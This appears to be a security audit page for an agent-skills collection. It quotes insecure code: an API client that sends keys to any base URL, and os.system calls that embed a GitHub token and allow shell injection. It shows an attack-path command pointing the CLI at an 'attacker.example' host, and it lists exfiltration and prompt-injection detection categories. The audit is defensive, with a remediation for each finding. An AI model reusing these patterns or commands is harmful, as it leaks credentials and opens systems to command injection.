Back to skill

Security audit

Agent Skills Context

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly a disclosed context-engineering collection, but it includes high-impact example patterns that can expose credentials or sensitive agent traces if reused without safeguards.

Install only if you are comfortable treating this as a broad agent-engineering reference collection. Do not run the reasoning-trace optimizer on private sessions, customer data, credentials, or proprietary repositories unless you first add redaction and verify the endpoint receiving the data. Do not copy the hosted-agent shell-command examples as written; use argument-array subprocess calls, scoped short-lived credentials, endpoint allowlists, and explicit user controls for sandboxing, snapshots, generated skills, and background agents.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
examples/interleaved-thinking/reasoning_trace_optimizer/cli.py:183
Finding
Unrestricted API Endpoint Can Receive Authentication Credentials<![CDATA[ ## Vulnerability Details **File Location**: `examples/interleaved-thinking/reasoning_trace_optimizer/cli.py:183-188`; `examples/interleaved-thinking/reasoning_trace_optimizer/analyzer.py:144-159` **Vulnerability Type**: Arbitrary authenticated API endpoint configuration **Risk Level**: High ### Vulnerable Code ```python # cli.py parser.add_argument( "--base-url", default="https://api.minimax.io/anthropic", help="API base URL", ) ``` ```python # analyzer.py def __init__( self, api_key: str | None = None, base_url: str = "https://api.minimax.io/anthropic", model: str = "MiniMax-M2.1", ): self.model = model self.client = anthropic.Anthropic( api_key=api_key or os.environ.get("ANTHROPIC_API_KEY"), base_url=base_url, ) ``` ### Technical Analysis The command-line interface accepts an unrestricted `--base-url` value and passes it to an authenticated Anthropic-compatible client. The same client is configured with either a command-line API key or the `ANTHROPIC_API_KEY` environment variable. No HTTPS requirement, trusted-host allowlist, endpoint confirmation, or separation between credentials for MiniMax and credentials for custom endpoints is implemented. Consequently, a user can configure an attacker-controlled server as the API endpoint while continuing to use a real API credential. When the client sends an API request, the authentication credential is normally placed in an HTTP authentication header. An attacker operating the configured endpoint can therefore collect both the credential and request body. This behavior exceeds minimum privilege when arbitrary endpoints are allowed to receive a credential intended for a specific provider. ### Attack Path 1. An attacker persuades a user or automation system to invoke the CLI with a malicious endpoint: ```bash rto --base-url https://attacker.example/anthropic analyze "Analyze this task" ``` 2. The CLI passes the attacker-controlled URL to ...[truncated 898 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Restrict the endpoint to an allowlist of documented HTTPS hosts: ```python from urllib.parse import urlparse TRUSTED_HOSTS = {"api.minimax.io"} parsed = urlparse(args.base_url) if parsed.scheme != "https" or parsed.hostname not in TRUSTED_HOSTS: raise ValueError("Untrusted API endpoint") ``` 2. If custom endpoints are required, place them behind an explicit option such as `--allow-untrusted-endpoint` and require interactive confirmation. 3. Never reuse a provider credential automatically with an arbitrary endpoint. Require a separate endpoint-specific credential. 4. Reject URLs containing embedded credentials, unexpected ports, fragments, or non-HTTPS schemes. 5. Document exactly which endpoint receives the credential and request content. 6. Prefer short-lived, narrowly scoped credentials and support immediate rotation. 7. Add tests confirming that HTTP URLs, lookalike domains, subdomain tricks, and unapproved hosts are rejected. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
examples/interleaved-thinking/reasoning_trace_optimizer/analyzer.py:177
Finding
Complete Reasoning Traces and Tool Data Are Transmitted Without Redaction<![CDATA[ ## Vulnerability Details **File Location**: `examples/interleaved-thinking/reasoning_trace_optimizer/analyzer.py:177-198,266-288` **Vulnerability Type**: Unredacted transmission of potentially sensitive trace data **Risk Level**: Medium ### Vulnerable Code ```python # Format trace for analysis trace_text = self._format_trace_for_analysis(trace) tool_calls_text = self._format_tool_calls(trace) prompt = ANALYSIS_PROMPT_TEMPLATE.format( task=trace.task, system_prompt=trace.system_prompt, trace=trace_text, tool_calls=tool_calls_text, success=trace.success, final_response=trace.final_response or "None", error=trace.error or "None", ) # Call M2.1 for analysis response = self.client.messages.create( model=self.model, max_tokens=max_tokens, system=ANALYSIS_SYSTEM_PROMPT, messages=[{"role": "user", "content": prompt}], ) ``` ```python def _format_trace_for_analysis(self, trace: ReasoningTrace) -> str: """Format thinking blocks for analysis.""" parts = [] for i, thinking in enumerate(trace.thinking_blocks): parts.append(f"[Turn {thinking.turn_index}] Thinking:") parts.append(thinking.content) parts.append("") return "\n".join(parts) def _format_tool_calls(self, trace: ReasoningTrace) -> str: """Format tool calls for analysis.""" if not trace.tool_calls: return "No tool calls made." parts = [] for tc in trace.tool_calls: status = "Success" if tc.success else f"Failed: {tc.error}" parts.append( f"- {tc.name}({json.dumps(tc.input)}) -> {status}\n" f" Result: {tc.result[:200] if tc.result else 'None'}..." ) return "\n".join(parts) ``` ### Technical Analysis The analyzer constructs an outbound model request containing: - The original task - The agent's system prompt - Every captured reasoning block - Full serialized tool-call inputs - Tool-result excerpts - The final response - Error details No s ...[truncated 1875 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Implement recursive redaction before formatting or transmitting a trace: - Mask keys matching `token`, `secret`, `password`, `authorization`, `cookie`, and `api_key`. - Detect common private-key, bearer-token, and cloud-credential formats. - Sanitize both dictionary keys and free-form strings. 2. Add per-tool policies so sensitive tools can exclude inputs, results, or both. 3. Send only fields necessary for the selected analysis operation. For example, omit the system prompt and final response when they are not required. 4. Replace raw tool arguments with schema-aware summaries. 5. Present a local preview of the exact outbound payload and require explicit user consent for sensitive traces. 6. Add a local-only analysis mode. 7. Document provider retention, geographic processing, and privacy assumptions. 8. Ensure saved optimization artifacts are created with restrictive permissions and do not contain unredacted secrets. 9. Add automated tests using seeded fake credentials to verify that no recognizable secret reaches the API client. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
skills/hosted-agents/references/infrastructure-patterns.md:43
Finding
Shell Command Injection and Token Exposure in Hosted-Agent Infrastructure Pattern<![CDATA[ ## Vulnerability Details **File Location**: `skills/hosted-agents/references/infrastructure-patterns.md:43-52` **Vulnerability Type**: Shell command injection and credential exposure through command arguments **Risk Level**: High ### Vulnerable Code ```python def _clone_and_setup(self): """Clone repo and run initial setup.""" token = self._get_github_app_token() os.system(f"git clone https://x-access-token:{token}@github.com/{self.repo_url}") os.system("npm install") os.system("npm run build") @modal.method() def execute_prompt(self, prompt: str, user_identity: dict) -> dict: """Execute a prompt in the sandbox.""" # Update git config for this user os.system(f'git config user.name "{user_identity["name"]}"') os.system(f'git config user.email "{user_identity["email"]}"') ``` ### Technical Analysis The reference implementation inserts a repository URL, GitHub token, user name, and email address directly into shell command strings passed to `os.system()`. `os.system()` invokes a command shell, so shell metacharacters and substitutions in interpolated values are interpreted as executable syntax. Quoting the identity values with double quotes is insufficient. Values containing a double quote, command substitution, backticks, newlines, or other shell syntax can escape the intended argument and execute arbitrary commands. The GitHub token is also embedded directly in the clone URL. This can expose it through process listings, command logging, exception output, shell history, telemetry, or build records. The affected content is a reference implementation rather than an active call path in the current package. Exploitation therefore requires the pattern to be copied, adapted, or deployed as shown. Because the document presents the code as an infrastructure pattern, it can propagate the flaw into production systems. ### Attack Path 1. A hosted-agent deployment adopts the documented implementation. 2. An untrusted user ...[truncated 1366 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Replace shell-string execution with argument-array execution: ```python subprocess.run( ["git", "clone", validated_repo_url, workspace_path], check=True, shell=False, ) subprocess.run( ["git", "config", "user.name", user_identity["name"]], check=True, shell=False, ) subprocess.run( ["git", "config", "user.email", user_identity["email"]], check=True, shell=False, ) ``` 2. Validate repository identifiers against a strict owner/repository format or resolve them from server-side records rather than accepting arbitrary URLs. 3. Do not place tokens in clone URLs. Use a short-lived Git credential helper, isolated askpass program, or provider-supported secret injection mechanism. 4. Prevent credentials from appearing in process arguments, logs, exceptions, snapshots, or telemetry. 5. Apply length and character constraints to identity fields even when using argument arrays. 6. Run build workers with minimal privileges, read-only host mounts, restricted egress, scoped credentials, and disposable filesystems. 7. Never promote a sandbox image or snapshot if setup or validation fails. 8. Update the reference documentation so users do not copy an unsafe pattern into production. 9. Add adversarial tests containing quotes, semicolons, newlines, command substitutions, and option-like values. ]]>
Vulnerability Patterns
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (386)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description is about agent-system engineering skills, especially context management, multi-agent architectures, and production debugging. The supplied code is instead focused on preparing supervised fine-tuning data from books, including chunking text, generating prompts/instructions, formatting message-based training examples, building token/weight training records, and checking for memorization. These are materially different primary purposes. There is no meaningful evidence in the code of context engineering for agents, multi-agent orchestration, or production agent system tooling. While both relate broadly to LLM workflows, the actual code's core capability is an SFT dataset pipeline, which is undeclared and unrelated to the stated skill description.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
The declared description says this skillset is for context engineering, multi-agent architectures, and production agent systems. The supplied code instead implements a content-ideas generator for a 'digital brain' workflow: it loads posts/bookmarks/ideas from local files, scores engagement, filters bookmarks by category, and outputs writing prompts and suggestions. That is a materially different primary purpose from building or debugging agent systems. The file/resource usage and functional behavior are unrelated to the declared agent-context-management description, so this is a clear mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding
The declared description says this skill is a comprehensive collection of agent-system skills for context engineering, multi-agent architectures, and production agent systems. The supplied code chunk does not implement agent-building, optimization, debugging, orchestration, or context-management functionality. Instead, it performs a content-writing task: it loads idea/bookmark/post data from local JSONL files and outputs a markdown draft template based on a chosen idea. This is a materially different primary purpose, so the description does not accurately represent the code.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
The declared description is about agent-system engineering skills: context management, multi-agent architectures, and production agent optimization/debugging. The supplied code does something materially different: it analyzes a local contacts dataset (`network/contacts.jsonl`) to identify stale personal/professional contacts and generate an outreach report. This is not a supporting implementation detail of context engineering or agent architectures; it is an unrelated personal CRM/social network maintenance utility. No special permissions are declared, but the core mismatch is in purpose and accessed resource domain, not permissions.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description suggests a toolkit for agent-system engineering: context management, multi-agent architectures, and production agent optimization/debugging. The supplied code does not implement agent-building utilities, context engineering mechanisms, orchestration, debugging aids, or production-agent infrastructure. Instead, it loads JSONL records from specific local directories ('content', 'network', 'operations'), filters them by date, summarizes activity, and produces a weekly review document. This is a materially different primary purpose and accesses domain-specific resources not implied by the description. Therefore, the description does not accurately represent the code chunk's behavior.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
The declared description says this skill collection is for context engineering, multi-agent architectures, and production agent systems. The supplied code does not implement those capabilities; instead, it is an installation script for a different-seeming 'digital-brain' skill. Its primary behavior is local filesystem installation and replacement of directories, plus setup instructions for personal voice/brand/contacts/ideas. Those behaviors are materially different from the declared purpose, so this is a clear mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The declared description presents a broad skill collection for context engineering, multi-agent architectures, and production agent systems. The supplied code chunk does not implement such a collection or those capabilities directly. Instead, it is an example/demo script focused on observing interleaved reasoning during tool use in a weather comparison task. Its primary behavior is trace capture and analysis around mock tool calls, plus external model API usage, which is materially different from the declared purpose. While trace/agent-related tooling is loosely adjacent to agent systems, this specific code is much narrower and does not accurately represent the declared description.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The description presents this as a broad skill collection for context engineering, multi-agent architectures, and production agent systems. The supplied code chunk is instead a concrete example program focused on optimizing a research agent prompt using interleaved-thinking traces and simulated tools. Its primary behavior is operational: execute a multi-iteration optimization loop, use tool executors for web/file/note actions, save artifacts, and generate a shareable skill. While this is related to agent optimization and context management at a high level, it is materially narrower and different in purpose than a general skill collection, and it includes undeclared behaviors like file writing, artifact generation, and external API-backed optimization.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The description presents this as a broad collection of existing Agent Skills focused on context engineering, multi-agent architectures, and production agent systems. The supplied code instead is a narrow code utility for generating new skill documents from reasoning-trace optimization outputs. Its primary behavior is programmatic skill generation via an external model API and filesystem writes, which is materially different from being a reusable collection of skills for agent-system context management. The external network use and artifact persistence are also undeclared capabilities in the description. Therefore, this chunk does not accurately represent the declared purpose.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The declared description presents a broad, comprehensive skillset for context engineering and multi-agent/production agent systems. The actual code chunk does not implement or expose such functionality; it merely identifies a tests package for a 'Reasoning Trace Optimizer.' Even allowing for partial snippets, this code's apparent purpose is test organization for a specific feature, which is materially narrower and different from the declared purpose.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description says this skill provides agent-related capabilities for context engineering and multi-agent production systems. However, the supplied code chunk only configures ESLint and TypeScript linting behavior. It does not implement agent logic, context management, orchestration, debugging workflows, or any runtime skill behavior matching the description. This is a material purpose mismatch rather than a minor supporting detail.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The declared description focuses on context engineering, multi-agent architectures, and production agent systems. The supplied code chunk instead demonstrates a basic evaluation workflow: it creates an EvaluatorAgent, evaluates a response using scoring criteria and a rubric, and outputs strengths, weaknesses, and scores. This is a materially different primary purpose from the declared one. There is no evidence here of context management, multi-agent orchestration, or debugging/optimization of agent systems. The code’s API key/config validation is a supporting detail and not the basis for the mismatch; the mismatch is the core functionality being response evaluation rather than the declared agent-systems skill set.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description centers on agent-system engineering, context management, and multi-agent architecture skills. The supplied code instead implements an evaluation workflow for judging model outputs using an EvaluatorAgent. Its primary purpose is assessment of text responses via rubric generation, scoring, and comparison, which is materially different from context engineering or production agent system optimization/debugging. There is no evidence in this chunk of context-management or multi-agent orchestration behavior. This is therefore a clear description-to-behavior mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
The declared description focuses on agent-system engineering, context management, multi-agent architectures, and production agent debugging. The supplied code chunk instead demonstrates rubric generation for evaluation purposes via an EvaluatorAgent. Its primary function is to create and display scoring levels, guidelines, and edge cases for a review criterion, which is materially different from context engineering or multi-agent system support. There is no indication in this code of context management, orchestration of multiple agents, or debugging/optimization of production agent systems. Therefore the description does not accurately represent this code chunk's actual behavior.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The declared description centers on context engineering, multi-agent architectures, and production agent systems for effective context management. The supplied code instead defines an evaluation-focused agent whose core purpose is judging AI-generated content via scoring, comparisons, and rubric generation. This is a materially different primary purpose, not just an implementation detail. While both may exist within a broader agent-related repository, this specific code chunk does not implement context management or multi-agent architecture functionality; it implements evaluation capabilities that are undeclared in the description.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description claims a broad, comprehensive skill set for context engineering, multi-agent architectures, and production agent systems. The actual code shown is a minimal barrel export file that exposes evaluator-agent symbols from another module. Based on this chunk alone, the behavior is much narrower and centered on evaluator agent exports, with no visible implementation of context management, multi-agent orchestration, optimization, or debugging capabilities. This is a material description-behavior mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
87% confidence
Finding
The supplied code chunk is a narrow configuration module: it imports environment variables, exposes OpenAI/Anthropic config values, and throws an error if OPENAI_API_KEY is missing. That behavior does not match the declared purpose of a comprehensive collection of agent skills for context engineering, multi-agent architectures, or production agent systems. While configuration can be a supporting detail in a larger system, this specific chunk's primary behavior is environment-based API configuration, which is materially different from the declared functional description.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description emphasizes context engineering, multi-agent architectures, and production agent systems for context management. However, the supplied code chunk is an index file for an evaluation-oriented package: it exports tools and types such as DirectScore, PairwiseCompare, and GenerateRubric, which indicate LLM-as-judge assessment functionality. That is a materially different primary purpose from context management or agent-system architecture support, so this is a clear description-behavior mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description is about a broad skill collection for context engineering and multi-agent/production agent system development. The supplied code chunk instead implements a narrow evaluation utility for directly scoring an LLM response against criteria using an OpenAI model. This is a materially different primary purpose. The code does not demonstrate context engineering, multi-agent orchestration, or debugging agent systems; it performs response assessment. There are no declared permissions, and while the code uses an external model API, the main mismatch is purpose and capability rather than permissions.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The declared description presents the skill set as focused on context engineering, multi-agent architectures, and production agent systems. The supplied code instead defines a narrowly scoped evaluation utility that calls an OpenAI model to generate JSON rubrics for scoring criteria. Its primary purpose is rubric generation for LLM-as-judge/evaluation workflows, not context management or multi-agent system design/debugging. It also introduces an external model invocation capability that is not suggested by the declared permissions or description. This is a material purpose mismatch, not just an implementation detail.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description says this skill collection is for building, optimizing, or debugging agent systems with effective context management, especially around context engineering and multi-agent architectures. However, the supplied code chunk only re-exports evaluation utilities for scoring and comparing outputs and generating rubrics, which are characteristic of an LLM evaluation/judge toolkit. That is a materially different primary purpose from context management or multi-agent system engineering, so this is a clear description-behavior mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The declared description is broad and focused on context engineering, multi-agent architectures, and production agent system support. The supplied code chunk instead provides a narrow 'LLM-as-judge' evaluation utility for pairwise comparison of responses. Its primary purpose is judging outputs, not managing context, orchestrating multiple agents, or debugging production agent systems. It also makes an external OpenAI call, which is not suggested by the declared purpose. This is a material description-behavior mismatch rather than a minor implementation detail.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
The declared description centers on context engineering, multi-agent architectures, and production agent systems for effective context management. However, the supplied code chunk does not implement or test context-management or multi-agent orchestration skills. Instead, it tests an evaluation framework where model responses are scored, compared, and judged, including rubric generation and chat-based evaluation. That is a materially different primary purpose from the declared one, so this is a mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
The declared description presents a functional skill collection for agent-system design and context engineering. The supplied code chunk does not implement agent skills, context management, or multi-agent architecture behavior. Instead, it performs generic test harness setup for a test suite. This is a materially different primary purpose, not merely a supporting detail of the declared functionality, so it should be flagged as a mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description is about agent-system engineering skills: context engineering, multi-agent architectures, and production agent systems. The actual code chunk instead contains tests for evaluation-related skills based on LLM-as-a-Judge research. Its core functions are scoring responses, comparing two responses, generating grading rubrics, and validating output schemas. While one test mentions using provided context, that is only a parameter in evaluation and does not make the skill primarily about context engineering or multi-agent architecture. Therefore the code’s primary purpose is materially different from the declared description.

Static analysis

Detected: suspicious.dynamic_code_execution, suspicious.prompt_injection_instructions

Dynamic code execution detected.

Critical
Code
suspicious.dynamic_code_execution
Location
examples/interleaved-thinking/examples/03_full_optimization.py:995

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
docs/compression.md:243

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
docs/gemini_research.md:8

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
examples/llm-as-judge-skills/README.md:169